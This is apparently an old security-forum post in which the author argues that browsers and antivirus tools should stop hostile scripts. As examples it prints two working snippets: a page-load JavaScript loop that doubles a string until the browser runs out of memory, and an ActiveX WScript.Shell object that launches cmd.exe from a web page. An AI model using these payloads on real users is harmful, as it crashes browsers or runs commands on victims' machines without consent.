Browser bugs [DoS] ... where will you draw a line?

Shouldn't developers [of Browsers] draw a line... between a DoS bug and a "can be troublesome" feature in their web-browsern and put necessary measures in their code to protect form such nasty codes. These days... I?ve been seeing lot of stupid IE/Mozilla DoS exploits. They do get patched. Should we need another "Bloodhound" technology in brouser as well for such but...... it's strange to see neither neither a antivirus softwares nor IE / MOZILLA are putting necessary efforts in their code to prevent such hostile scripts.....?

------------

<body onload="hUNT()">

<script language="JavaScript"><!--

var szhUNT="...cauz its a jungle out there!"

function hUNT()

{szhUNT=szhUNT + szhUNT

window.status="String Length is: "+szhUNT.length

window.setTimeout('hUNT()',1);}

// --></script>

-------------

OR

you could just have a scripts that kicks a infinite pop up windows!!! or at worst...... lets add a WSH script...

--------------------------------------

I guess this bug has patch?

--------------------------------------

<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>

<script>

wsh.Run("cmd.exe /k echo ...today is your lucky day!");

</script>

--------------------------------------

... such browser features are far *MORE* troublesome than *any* browser DoS BUGS!!!

the solution shouldn't be to disable scripting...... etc!

so ??????

./hUNT3R
